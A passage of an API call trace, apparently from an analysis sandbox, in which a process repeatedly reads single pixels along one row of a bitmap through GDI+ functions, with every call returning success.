[0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=133, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=134, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.818] GdipBitmapGetPixel (bitmap=0x1272f08, x=135, y=332, color=0x30cf3c) returned 0x0 [0032.818] GetLastError () returned 0x0 [0032.818] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.818] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=136, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=137, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=138, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=139, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=140, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=141, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=142, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=143, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=144, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.819] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.819] GdipBitmapGetPixel (bitmap=0x1272f08, x=145, y=332, color=0x30cf3c) returned 0x0 [0032.819] GetLastError () returned 0x0 [0032.819] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.820] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.820] GdipBitmapGetPixel (bitmap=0x1272f08, x=146, y=332, color=0x30cf3c) returned 0x0 [0032.820] GetLastError () returned 0x0 [0032.820] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.820] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.820] GdipBitmapGetPixel (bitmap=0x1272f08, x=147, y=332, color=0x30cf3c) returned 0x0 [0032.820] GetLastError () returned 0x0 [0032.820] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.822] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.822] GdipBitmapGetPixel (bitmap=0x1272f08, x=148, y=332, color=0x30cf3c) returned 0x0 [0032.822] GetLastError () returned 0x0 [0032.822] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.822] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.822] GdipBitmapGetPixel (bitmap=0x1272f08, x=149, y=332, color=0x30cf3c) returned 0x0 [0032.822] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=150, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=151, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=152, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=153, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=154, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=155, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=156, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=157, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=158, y=332, color=0x30cf3c) returned 0x0 [0032.823] GetLastError () returned 0x0 [0032.823] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.823] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.823] GdipBitmapGetPixel (bitmap=0x1272f08, x=159, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=160, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=161, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=162, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=163, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=164, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=165, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=166, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=167, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.824] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.824] GdipBitmapGetPixel (bitmap=0x1272f08, x=168, y=332, color=0x30cf3c) returned 0x0 [0032.824] GetLastError () returned 0x0 [0032.824] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=169, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=170, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=171, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=172, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=173, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=174, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=175, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=176, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=177, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.825] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.825] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.825] GdipBitmapGetPixel (bitmap=0x1272f08, x=178, y=332, color=0x30cf3c) returned 0x0 [0032.825] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=179, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=180, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=181, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=182, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=183, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=184, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=185, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=186, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.826] GdipBitmapGetPixel (bitmap=0x1272f08, x=187, y=332, color=0x30cf3c) returned 0x0 [0032.826] GetLastError () returned 0x0 [0032.826] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.826] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=188, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=189, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=190, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=191, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=192, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=193, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=194, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=195, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=196, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.827] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.827] GdipBitmapGetPixel (bitmap=0x1272f08, x=197, y=332, color=0x30cf3c) returned 0x0 [0032.827] GetLastError () returned 0x0 [0032.827] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=198, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=199, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=200, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=201, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=202, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=203, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=204, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=205, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=206, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.828] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.828] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.828] GdipBitmapGetPixel (bitmap=0x1272f08, x=207, y=332, color=0x30cf3c) returned 0x0 [0032.828] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=208, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=209, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=210, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=211, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=212, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=213, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=214, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=215, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.829] GdipBitmapGetPixel (bitmap=0x1272f08, x=216, y=332, color=0x30cf3c) returned 0x0 [0032.829] GetLastError () returned 0x0 [0032.829] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.829] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=217, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=218, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=219, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=220, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=221, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=222, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=223, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=224, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel (bitmap=0x1272f08, x=225, y=332, color=0x30cf3c) returned 0x0 [0032.830] GetLastError () returned 0x0 [0032.830] GdipGetImageWidth (image=0x1272f08, width=0x30cf2c) returned 0x0 [0032.830] GdipGetImageHeight (image=0x1272f08, height=0x30cf2c) returned 0x0 [0032.830] GdipBitmapGetPixel 